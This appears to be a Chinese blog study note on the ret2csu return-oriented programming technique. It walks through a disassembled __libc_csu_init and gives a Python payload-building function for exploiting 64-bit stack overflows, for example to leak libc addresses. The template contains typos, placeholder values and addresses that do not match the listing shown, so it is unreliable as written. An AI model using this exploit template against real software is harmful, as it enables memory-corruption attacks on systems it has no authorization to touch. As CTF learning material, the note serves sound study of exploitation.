Pwn学习笔记-ret2csu

  1. 1. 前提知识
  2. 2. ret2csu的原理

1. 前提知识

(1)64位程序中函数的传参方式:

当参数个数少于7给时,通过寄存器传参,参数从左到右放入寄存器中:rdi、rsi、rdx、rcx、r8、r9

当参数大于等于7个时,前6个参数与前面一样,后面的参数依次放入栈中,通过栈传参(与32位一样)

(2)存在的问题

这样在64位中就存在一个问题:当我们找不到某一个寄存器对应的 gadgets时,那么就无法找到存放函数该参数的地方了,就无法构造函数了。一般情况是:函数有三个参数,而程序的rdx寄存器对应的gadget在程序中找不到,但这个三个参数又很重要。那么这样就得利用程序本身的其他函数来构造这个gadget了。

2. ret2csu的原理

在 64程序 下存在一个叫 __libc_csu_init 的函数,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。通过利用这个函数来构造相应的寄存器的数值。

我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

text:0000000000400760 ; void init(void)
.text:0000000000400760 init            proc near               ; DATA XREF: start+16↑o
.text:0000000000400760 ; __unwind {
.text:0000000000400760                 push    r15
.text:0000000000400762                 push    r14
.text:0000000000400764                 mov     r15d, edi
.text:0000000000400767                 push    r13
.text:0000000000400769                 push    r12
.text:000000000040076B                 lea     r12, off_600E10
.text:0000000000400772                 push    rbp
.text:0000000000400773                 lea     rbp, off_600E18
.text:000000000040077A                 push    rbx
.text:000000000040077B                 mov     r14, rsi
.text:000000000040077E                 mov     r13, rdx
.text:0000000000400781                 sub     rbp, r12
.text:0000000000400784                 sub     rsp, 8
.text:0000000000400788                 sar     rbp, 3
.text:000000000040078C                 call    _init_proc
.text:0000000000400791                 test    rbp, rbp
.text:0000000000400794                 jz      short loc_4007B6
.text:0000000000400796                 xor     ebx, ebx
.text:0000000000400798                 nop     dword ptr [rax+rax+00000000h]
.text:00000000004007A0
.text:00000000004007A0 loc_4007A0:                             ; CODE XREF: init+54↓j
.text:00000000004007A0                 mov     rdx, r13
.text:00000000004007A3                 mov     rsi, r14
.text:00000000004007A6                 mov     edi, r15d
.text:00000000004007A9                 call    qword ptr [r12+rbx*8]
.text:00000000004007AD                 add     rbx, 1
.text:00000000004007B1                 cmp     rbx, rbp
.text:00000000004007B4                 jnz     short loc_4007A0
.text:00000000004007B6
.text:00000000004007B6 loc_4007B6:                             ; CODE XREF: init+34↑j
.text:00000000004007B6                 add     rsp, 8
.text:00000000004007BA                 pop     rbx
.text:00000000004007BB                 pop     rbp
.text:00000000004007BC                 pop     r12
.text:00000000004007BE                 pop     r13
.text:00000000004007C0                 pop     r14
.text:00000000004007C2                 pop     r15
.text:00000000004007C4                 retn
.text:00000000004007C4 ; } // starts at 400760
.text:00000000004007C4 init            endp

这里我们可以利用以下几点:

  • 从 0x00000000004007B6 一直到结尾,存在有6个pop指令,我们可以利用栈溢出,然后构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。(控制这些寄存器的值的作用就是通过结合前一个函数,然后将这些寄存器的数据赋给rdx、rsi、rdi寄存器,这样就可以构造gadget,实现函数跳转了)
  • 接着确定ret的返回地址,返回到 loc_4007B6 函数中,传递构造好的寄存器的数据,从 0x00000000004007A0 到 0x00000000004007A9,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0,所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,那么r12 为存储我们想要调用的函数的地址。
  • 从 0x00000000004007AD 到 0x00000000004006B4,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
  • 然后再往下执行程序,为了堆栈平衡。就是说,当ret_addr执行完之后,按照流程它会继续往下执行loc_400646函数,如果它执行的话,他就会再次 pop寄存器,更换我们已经布置好的内容。所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),这里的大小位0x38。此时程序有到达了ret返回函数的地址处了,然后再在最后ret时改写为main函数的地址。这样就可以既可以获取write函数的地址,而且其本身又可以重新执行main函数

流程图:

image-20211126172951142

函数构造:

offset = 
csu_start_addr = 
csu_end_addr
def rcsu(rbx, rbp, r12, r13 , r14 , r15, ret_addr):
    pyaload = offset * 'a'
    payload += p64(csu_start_addr)
    payload += "ret_addr"	# 程序在调用函数时都会先构造pop一个预留一个返回地址,方便调用函数后回去,由于这里该函数得到最后存在ret指令所以不需要提前填可随意填充
    payload += p64(0x0)     # rbx = 0x0
    payload += p64(0x1)     # rbp = 0x1 
    payload += p64(r12)     # r12 = call_addr
    payload += p64(r13)     # r13 = rdx call_addr函数的第三个参数
    payload += p64(r14)     # r14 = rsi call_addr函数的第二个参数
    payload += p64(r15)     # r15 = edi call_addr函数的第一个参数
    payload += p64(csu_end_addr)# 这里一般为这个函数的前一个函数地址,因为需要将pop的内容传递到rdx、rsi、edi寄存器当中
    payload += 'A' * 56 	# 这里需要注意:如果程序需要多次调用这段可以再次使用,而不是填充为垃圾数据
    payload += p64(ret_addr)
    r.sendline(payload)
  • 这样构造的好处:比如说你可以通过call指令泄露某个函数的地址,然而却不改变程序的流程,让它重新执行程序,就是说可以重复多次利用溢出漏洞,而且相比之下存在更多的gadget可以利用。
  • 利用:利用的方式有很多,通常都是用来泄露函数的地址(绕过pie的保护、泄露libc的基地址)

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏